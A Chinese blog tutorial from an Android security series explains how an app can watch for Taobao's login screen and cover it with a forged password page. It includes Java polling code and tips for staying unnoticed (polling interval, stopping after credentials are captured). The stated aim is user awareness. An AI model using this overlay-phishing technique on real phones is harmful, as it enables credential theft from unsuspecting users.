您的位置:首页 > 移动开发 > Android开发

android安全问题(三) 钓鱼程序

2014-08-30 15:07 375 查看
导读:文本介绍一种钓鱼应用,讲述如何骗取用户的用户名和密码,无须root

这个话题是继续android安全问题(二) 程序锁延伸的

之前我已经展示了如何***程序锁。当打开指定应用的时候,弹出一个密码页面。

程序锁的话题虽然是和安全相关,但是这应该属于防范的范围,如果被人恶意利用,那么后果……

这期我来揭示一下一种钓鱼程序的原理,希望广大用户不要上当受骗,最主要的是:希望大家意识到安全问

之前我用定时扫描activity的方法来检查打开的页面是不是我们所需要的页面

[java] view
plaincopy

ComponentName topActivity = mActivityManager.getRunningTasks(1).get(0).topActivity;

如何用于钓鱼呢?比如我打开了淘宝,然后想登录,查看一下我淘宝,这时候会打开下面这个页面



从log中我们能得到其包和类的信息

log 写道

10-17 10:02:14.698: I/ActivityManager(246): Displayed com.taobao.taobao/com.taobao.tao.LoginActivity: +305ms

恩,这就好办了,下面我只需改三处,程序锁这个应用就会变成调用应用

第一个修改很简单,修改我们监听的包名和类名即可

[java] view
plaincopy

String testPackageName = "com.taobao.taobao";

String testClassName = "com.taobao.tao.LoginActivity";

完整代码

[java] view
plaincopy

public class LockTask extends TimerTask {

public static final String TAG = "LockTask";

private Context mContext;

String testPackageName = "com.taobao.taobao";

String testClassName = "com.taobao.tao.LoginActivity";



private ActivityManager mActivityManager;



public LockTask(Context context) {

mContext = context;

mActivityManager = (ActivityManager) context.getSystemService("activity");

}



@Override

public void run() {

ComponentName topActivity = mActivityManager.getRunningTasks(1).get(0).topActivity;

String packageName = topActivity.getPackageName();

String className = topActivity.getClassName();

Log.v(TAG, "packageName" + packageName);

Log.v(TAG, "className" + className);



if (testPackageName.equals(packageName)

&& testClassName.equals(className)) {

Intent intent = new Intent();

intent.setClassName("com.example.locktest", "com.example.locktest.PasswordActivity");

intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

mContext.startActivity(intent);

}

}

}

第二个修改有些技术含量,可能会需要一个专业的美工,来仿造一个淘宝的登录页面,就如上图所示的那样

最后一个修改,当病毒获取了用户名和密码之后,就不要再继续监听了,不然次数多了肯定会被发现

为了尽量不让用户察觉,可以把频率调高一些,比如500ms检查一次,这样用户就很难察觉了

测试项目完整源码见这里,代码是以android4.0为基础写的(当然,我的钓鱼页面是简陋的,只是用于演示)

(由于csdn只允许传图片,还得劳烦大家去我iteye的blog下载。。。汗阿)

无论是程序锁还是钓鱼程序,他们可能都担心耗电问题,因为耗电过多也会引起用户的注意

我们可以降低检查频率(当然,钓鱼程序是不会这么干的)

我们可以监控屏幕状态,当屏幕关闭的时候,我们可以停止监听,这时候也没有必要监听,当点亮的时候我们再监听

如何监听屏幕状态?

我们需要监听下面两个action

Intent.ACTION_SCREEN_OFF

Intent.ACTION_SCREEN_ON

还有一个要求,就是要动态注册才可以,不能在manifest中注册

其余的事情大家就自己实现吧



android手机root后的安全问题 (一)

android手机root后的安全问题 (二)

android手机root后的安全问题 (三)

android手机root后的安全问题 (四)

android安全问题(一) 静音拍照与被拍

android安全问题(二) 程序锁

android安全问题(三) 钓鱼程序

android安全问题(四) 抢先开机启动 - 结果篇

android安全问题(五) 抢先拦截短信 - 结果篇







请大家不要用root的手机随意下载软件,更不要以任何借口制造任何病毒!

转贴请保留以下链接

本人blog地址

http://su1216.iteye.com/

http://blog.csdn.net/su1216/
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: